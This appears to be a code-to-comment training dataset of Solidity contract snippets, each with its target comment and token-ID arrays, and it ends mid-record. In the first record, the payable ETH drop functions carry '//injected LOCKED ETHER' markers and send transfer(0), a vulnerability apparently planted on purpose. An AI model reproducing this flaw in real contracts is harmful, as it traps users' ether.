transfer token to members per approved drop amount for (uint256 i = 0; i < members.length; i++) { IToken dropToken = IToken(dropTokenAddress); dropToken.transferFrom(msg.sender, members[i], drop); } } function customDropTKN(uint256[] memory drop, address dropTokenAddress) public onlySecretary { // transfer token to members per approved index drop amounts for (uint256 i = 0; i < members.length; i++) { IToken dropToken = IToken(dropTokenAddress); dropToken.transferFrom(msg.sender, members[i], drop[i]); } } /********************** DRIP/DROP ETH FUNCTIONS **********************/ function dripETH() public onlySecretary { // transfer ETH to members per stored drip amount for (uint256 i = 0; i < members.length; i++) { members[i].transfer(0); } } function dropETH() payable public onlySecretary { // transfer ETH to members per attached drop amount //injected LOCKED ETHER for (uint256 i = 0; i < members.length; i++) { members[i].transfer(0); } } function customDropETH(uint256[] memory drop) payable public onlySecretary { // transfer ETH to members per index drop amounts //injected LOCKED ETHER for (uint256 i = 0; i < members.length; i++) { members[i].transfer(0); } } /****************** SECRETARY FUNCTIONS ******************/ // ****************** // DRIP/DROP REGISTRY // ****************** function addMember(address payable addedMember) public onlySecretary { require(memberList[addedMember].exists != true, "member already exists"); memberList[addedMember].memberIndex = members.push(addedMember) - 1; memberList[addedMember].exists = true; emit MemberAdded(addedMember); } function removeMember(address removedMember) public onlySecretary { require(memberList[removedMember].exists = true, "no such member to remove"); uint256 memberToDelete = memberList[removedMember].memberIndex; address payable keyToMove = members[members.length-1]; members[memberToDelete] = keyToMove; memberList[keyToMove].memberIndex = memberToDelete; memberList[removedMember].exists = false; members.length--; emit MemberRemoved(removedMember); } function updateSecretary(address payable updatedSecretary) public onlySecretary { secretary = updatedSecretary; emit SecretaryUpdated(updatedSecretary); } // ************ // DRIP DETAILS // ************ function updateETHDrip(uint256 updatedETHDrip) public onlySecretary { ethDrip = updatedETHDrip; emit ETHDripUpdated(updatedETHDrip); } function updateDripToken(address updatedDripToken) public onlySecretary { dripToken = IToken(updatedDripToken); emit DripTokenUpdated(updatedDripToken); } function updateTokenDrip(uint256 updatedTokenDrip) public onlySecretary { tokenDrip = updatedTokenDrip; emit TokenDripUpdated(updatedTokenDrip); } /*************** GETTER FUNCTIONS ***************/ // **** // DRIP // **** function ETHBalance() public view returns (uint256) { // get balance of ETH in contract return address(this).balance; } function TokenBalance() public view returns (uint256) { // get balance of drip token in contract return dripToken.balanceOf(address(this)); } // ****** // MEMBER // ****** function Membership() public view returns (address payable[] memory) { return members; } function MemberCount() public view returns(uint256 memberCount) { return members.length; } function isMember(address memberAddress) public view returns (bool memberExists) { if(members.length == 0) return false; return (members[memberList[memberAddress].memberIndex] == memberAddress); } }
****** MEMBER ******
function Membership() public view returns (address payable[] memory) { return members; GETTER FUNCTIONS return address(this).balance; }
7,216,527
[ 1, 19630, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 28100, 1435, 1071, 1476, 1135, 261, 2867, 8843, 429, 8526, 3778, 13, 288, 203, 3639, 327, 4833, 31, 203, 565, 17788, 11976, 13690, 55, 203, 3639, 327, 1758, 12, 2211, 2934, 12296, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x99efb687E5e29E2Dc468D6ae99567eEdCEF14a95/sources/LootUnchained.sol
Encodes an array of Loot components and an item type (weapon, chest etc.) to a token id
{ uint256 id = itemType; id += encode(components[0], 1); id += encode(components[1], 2); id += encode(components[2], 3); id += encode(components[3], 4); id += encode(components[4], 5); return id; }
678,939
[ 1, 19771, 392, 526, 434, 511, 1632, 4085, 471, 392, 761, 618, 261, 1814, 28629, 16, 462, 395, 5527, 12998, 358, 279, 1147, 612, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 3639, 2254, 5034, 612, 273, 23080, 31, 203, 3639, 612, 1011, 2017, 12, 8119, 63, 20, 6487, 404, 1769, 203, 3639, 612, 1011, 2017, 12, 8119, 63, 21, 6487, 576, 1769, 203, 3639, 612, 1011, 2017, 12, 8119, 63, 22, 6487, 890, 1769, 203, 3639, 612, 1011, 2017, 12, 8119, 63, 23, 6487, 1059, 1769, 203, 3639, 612, 1011, 2017, 12, 8119, 63, 24, 6487, 1381, 1769, 203, 203, 3639, 327, 612, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; contract MainBridge is ERC721Holder { IERC721 private mainToken; //ERC721 token interface address gateway; //The address of the gateway //some events declared here, we'll emit them later event TokensLocked(address indexed requester, bytes32 indexed mainDepositHash, uint256 tokenId, uint timestamp); event TokensUnlocked(address indexed requester, bytes32 indexed sideDepositHash, uint256 tokenId, uint timestamp); //constructor using a IERC721 interface constructor (address _mainToken, address _gateway) { mainToken = IERC721(_mainToken); gateway = _gateway; } //Emit Lockdown event function lockToken (address _requester, uint256 _tokenId, bytes32 _mainDepositHash) onlyGateway external { emit TokensLocked(_requester, _mainDepositHash, _tokenId, block.timestamp); } //Transfer token to requester and emit event function unlockTokens (address _requester, uint256 _tokenId, bytes32 _sideDepositHash) onlyGateway external { mainToken.safeTransferFrom(mainToken.ownerOf(_tokenId),_requester, _tokenId); //transfer ownership to requester emit TokensUnlocked(_requester, _sideDepositHash, _tokenId, block.timestamp); //emit unocked event } //The onlyGateway modifier, so that only gateway uses these functions modifier onlyGateway { require(msg.sender == gateway, "only gateway can execute this function"); _; } }
ERC721 token interface
IERC721 private mainToken;
1,836,283
[ 1, 654, 39, 27, 5340, 1147, 1560, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 467, 654, 39, 27, 5340, 3238, 2774, 1345, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x00253582b2a3FE112feEC532221d9708c64cEFAb/sources/contracts/interfaces/IAccessControlManager.sol
@title IAccessControlManager @author Angle Labs, Inc.
interface IAccessControlManager { function isGovernor(address admin) external view returns (bool); function isGovernorOrGuardian(address admin) external view returns (bool); }
3,855,561
[ 1, 45, 16541, 1318, 225, 24154, 511, 5113, 16, 15090, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 16541, 1318, 288, 203, 565, 445, 353, 43, 1643, 29561, 12, 2867, 3981, 13, 3903, 1476, 1135, 261, 6430, 1769, 203, 203, 565, 445, 353, 43, 1643, 29561, 1162, 16709, 2779, 12, 2867, 3981, 13, 3903, 1476, 1135, 261, 6430, 1769, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x1807e79594A19de9a887f0A1448F4AB4c347B763/sources/src/module/governance-pool/Nouns.sol
if votes were not cast against the proposal, it is refundable
return !_voteCast;
17,042,450
[ 1, 430, 19588, 4591, 486, 4812, 5314, 326, 14708, 16, 518, 353, 16255, 429, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 327, 401, 67, 25911, 9735, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "../interfaces/ERC165Spec.sol"; import "../interfaces/ERC721Spec.sol"; import "../interfaces/AletheaERC721Spec.sol"; import "../lib/StringUtils.sol"; import "../utils/AccessControl.sol"; /** * @title OpenSea ERC721 Factory interface * * @notice In order to mint items only when they're purchased, OpenSea provides a Factory interface * that is used to define how the items will be minted. * See https://docs.opensea.io/docs/2-custom-item-sale-contract * * @notice This is a generic factory contract that can be used to mint tokens. The configuration * for minting is specified by an _optionId, which can be used to delineate various * ways of minting. * * @dev Copy of the OpenSea interface: * https://github.com/ProjectOpenSea/opensea-creatures/blob/master/contracts/IFactoryERC721.sol */ interface OpenSeaFactoryERC721 is ERC165 { /** * @dev Returns the name of this factory. */ function name() external view returns (string memory); /** * @dev Returns the symbol for this factory. */ function symbol() external view returns (string memory); /** * @dev Number of options the factory supports. */ function numOptions() external view returns (uint256); /** * @dev Returns whether the option ID can be minted. Can return false if the developer wishes to * restrict a total supply per option ID (or overall). */ function canMint(uint256 _optionId) external view returns (bool); /** * @dev Returns a URL specifying some metadata about the option. This metadata can be of the * same structure as the ERC721 metadata. */ function tokenURI(uint256 _optionId) external view returns (string memory); /** * @dev Indicates that this is a factory contract. Ideally would use EIP 165 supportsInterface() */ function supportsFactoryInterface() external view returns (bool); /** * @dev Mints asset(s) in accordance to a specific address with a particular "option". This should be * callable only by the contract owner or the owner's Wyvern Proxy (later universal login will solve this). * Options should also be delineated 0 - (numOptions() - 1) for convenient indexing. * @param _optionId the option id * @param _toAddress address of the future owner of the asset(s) */ function mint(uint256 _optionId, address _toAddress) external; } /** * @title OpenSea ERC721 Factory implementation * * @notice OpenSea Factory interface implementation, NFT minter contract, * powers the OpenSea sale of the 9,900 personalities of the 10k sale campaign * * @dev Links to PersonalityPodERC721 smart contract on deployment, allows OpenSea to mint * PersonalityPodERC721 from 101 to 10,000 (both bounds inclusive) * * @dev Each OpenSea Factory option ID is used to signify the minting of one random type of * Personality Pod */ contract OpenSeaFactoryImpl is OpenSeaFactoryERC721, AccessControl { /** * @dev NFT ERC721 contract address to mint NFTs from and bind to iNFTs created */ address public immutable nftContract; /** * @dev Number of options the factory supports, * options start from zero and end at `options` (exclusive) */ uint32 private options; /** * @dev Base URI is used to construct option URI as * `base URI + option ID` * * @dev For example, if base URI is https://api.com/option/, then option #1 * will have an URI https://api.com/option/1 */ string public baseURI = ""; /** * @dev Initialized with the tokenId each optionId should start minting from, * incremented each time the option is minted * * @dev For each option, [currentTokenId[optionId], tokenIdUpperBound[optionId]) * is the range of token IDs left to be minted * * @dev Maps optionId => next available (current) token ID for an option */ mapping(uint256 => uint256) public currentTokenId; /** * @dev At what tokenId each optionId should end minting at (exclusive) * * @dev For each option, [currentTokenId[optionId], tokenIdUpperBound[optionId]) * is the range of token IDs left to be minted * * @dev Maps optionId => final token ID (exclusive) for an option */ mapping(uint256 => uint256) public tokenIdUpperBound; /** * @notice Minter is responsible for creating (minting) iNFTs * * @dev Role ROLE_MINTER allows minting iNFTs (calling `mint` function) */ uint32 public constant ROLE_MINTER = 0x0001_0000; /** * @notice URI manager is responsible for managing base URI * which is used to construct URIs for each option * * @dev Role ROLE_URI_MANAGER allows updating the base URI * (executing `setBaseURI` function) */ uint32 public constant ROLE_URI_MANAGER = 0x0010_0000; /** * @notice OpenSea manager is responsible for registering the factory * in OpenSea via "Transfer" event mechanism * * @dev Role ROLE_OS_MANAGER allows notifying OpenSea about the contract * "owner" change via emitting "Transfer" events read by the OpenSea * (executing `fireTransferEvents` function) */ uint32 public constant ROLE_OS_MANAGER = 0x0040_0000; /** * @dev Fired in mint() when Alethea NFT is created * * @param _by an address which executed the mint function * @param _optionId OpenSea option ID * @param _to an address NFT was minted to */ event Minted(address indexed _by, uint256 _optionId, address indexed _to); /** * @dev Fired in setBaseURI() * * @param _by an address which executed update * @param _oldVal old _baseURI value * @param _newVal new _baseURI value */ event BaseURIUpdated(address indexed _by, string _oldVal, string _newVal); /** * @dev An event caught by the OpenSea for automatic factory registration * and assigning option "owner" to `to` address defined in the event * @dev See: OpenSea docs and source code examples, * https://docs.opensea.io/docs/2-custom-sale-contract-viewing-your-sale-assets-on-opensea */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Creates/deploys the factory and binds it to NFT smart contract on construction * * @param _nft deployed NFT smart contract address; factory will mint NFTs of that type * @param _rangeBounds token ID ranges foreach option - the initial `currentTokenId` and `tokenIdUpperBound` */ constructor(address _nft, uint32[] memory _rangeBounds) { // verify the inputs are set require(_nft != address(0), "NFT contract is not set"); // verify inputs are valid smart contracts of the expected interfaces require(ERC165(_nft).supportsInterface(type(ERC721).interfaceId), "unexpected NFT type"); require(ERC165(_nft).supportsInterface(type(ERC721Metadata).interfaceId), "unexpected NFT type"); require(ERC165(_nft).supportsInterface(type(MintableERC721).interfaceId), "unexpected NFT type"); // ensure there is at least one option (2 numbers for 1 range) require(_rangeBounds.length > 1, "invalid number of options"); // verify range bound initial element is greater than 100 require(_rangeBounds[0] > 100, "invalid range bound initial element"); // verify that range bounds elements increase (monotonically increasing) for(uint256 i = 0; i < _rangeBounds.length - 1; i++) { // compare current element and next element require(_rangeBounds[i] < _rangeBounds[i + 1], "invalid range bounds"); } // assign the NFT address nftContract = _nft; // number of options is derived from the range bounds array options = uint32(_rangeBounds.length - 1); // assign the appropriate start and upper bound for each optionId for(uint256 i = 0; i < _rangeBounds.length - 1; i++) { currentTokenId[i] = _rangeBounds[i]; tokenIdUpperBound[i] = _rangeBounds[i + 1]; } // fire events for each option fireTransferEvents(address(0), msg.sender); } /** * @dev Restricted access function which updates base URI for optionIds * * @param _baseURI new base URI to set */ function setBaseURI(string memory _baseURI) public virtual { // verify the access permission require(isSenderInRole(ROLE_URI_MANAGER), "access denied"); // emit an event first - to log both old and new values emit BaseURIUpdated(msg.sender, baseURI, _baseURI); // and update base URI baseURI = _baseURI; } /** * @inheritdoc ERC165 */ function supportsInterface(bytes4 interfaceId) public pure override returns (bool) { // reconstruct from current interface and super interface return interfaceId == type(OpenSeaFactoryERC721).interfaceId; } /** * @inheritdoc OpenSeaFactoryERC721 */ function name() public override view returns (string memory) { // delegate to super implementation return ERC721Metadata(nftContract).name(); } /** * @inheritdoc OpenSeaFactoryERC721 */ function symbol() public override view returns (string memory) { // delegate to super implementation return ERC721Metadata(nftContract).symbol(); } /** * @inheritdoc OpenSeaFactoryERC721 */ function numOptions() public override view returns (uint256) { // calculate based on 0-indexed options return options; } /** * @inheritdoc OpenSeaFactoryERC721 */ function canMint(uint256 _optionId) public override view returns (bool) { // check valid optionId, bounds return _optionId < options && currentTokenId[_optionId] < tokenIdUpperBound[_optionId]; } /** * @inheritdoc OpenSeaFactoryERC721 */ function tokenURI(uint256 _optionId) public override view returns (string memory) { // concatenate base URI + token ID return StringUtils.concat(baseURI, StringUtils.itoa(_optionId, 10)); } /** * @inheritdoc OpenSeaFactoryERC721 */ function supportsFactoryInterface() public override pure returns (bool) { // use ERC165 supportsInterface to return `true` return supportsInterface(type(OpenSeaFactoryERC721).interfaceId); } /** * @inheritdoc OpenSeaFactoryERC721 */ function mint(uint256 _optionId, address _toAddress) public override { // verify the access permission require(isSenderInRole(ROLE_MINTER), "access denied"); // verify option ID can be minted require(canMint(_optionId), "cannot mint"); // do the mint MintableERC721(nftContract).mint(_toAddress, currentTokenId[_optionId]); // emit an event before increasing emit Minted(msg.sender, currentTokenId[_optionId], _toAddress); // increment next tokenId currentTokenId[_optionId]++; } /** * @dev Fires transfer events for each option. Used to change contract "owner" * See: OpenSea docs and source code examples, * https://docs.opensea.io/docs/2-custom-sale-contract-viewing-your-sale-assets-on-opensea * * @param _from transfer optionIds from * @param _to transfer optionIds to */ function fireTransferEvents(address _from, address _to) public { // verify the access permission require(isSenderInRole(ROLE_OS_MANAGER), "access denied"); // fire events for each option for (uint256 i = 0; i < options; i++) { emit Transfer(_from, _to, i); } } /** * @dev Hack to get things to work automatically on OpenSea. * Use transferFrom so the frontend doesn't 